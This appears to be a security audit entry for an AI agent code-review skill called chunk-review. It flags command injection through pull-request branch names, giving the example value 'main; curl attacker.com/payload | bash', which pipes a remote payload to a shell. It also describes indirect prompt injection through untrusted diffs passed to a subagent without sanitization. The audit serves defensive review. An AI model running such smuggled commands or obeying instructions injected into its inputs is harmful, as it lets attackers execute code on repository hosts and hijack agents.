The Agent Skills Directory

[COMMAND_EXECUTION]: The skill defines a shell command to fetch a review prompt from a remote repository: gh api repos/{headRepositoryOwner}/{headRepository}/contents/.chunk/context/review-prompt.md?ref={headRefName} --jq '.content' | base64 --decode. The instructions explicitly direct the agent to substitute variables like {headRefName} directly from PR metadata. If a malicious actor creates a pull request with a branch name containing shell metacharacters (e.g., main; curl attacker.com/payload | bash), the agent will execute the injected command when it attempts to fetch the review prompt.
[INDIRECT_PROMPT_INJECTION]: The skill processes untrusted data from external sources and interpolates it into a subagent's prompt.
Ingestion points: The {{DIFF}} content (from gh pr diff) and the {{REVIEW_PROMPT}} content (from a file in the repository) are both untrusted.
Boundary markers: The subagent prompt uses basic markdown headers (e.g., ## Diff) to separate sections, but it lacks strong delimiters or specific instructions to ignore instructions embedded within the diff itself.
Capability inventory: The skill has access to gh (GitHub CLI), git, and shell execution via the main agent.
Sanitization: There is no evidence of sanitization, escaping, or validation of the external content before it is passed to the subagent.

chunk-review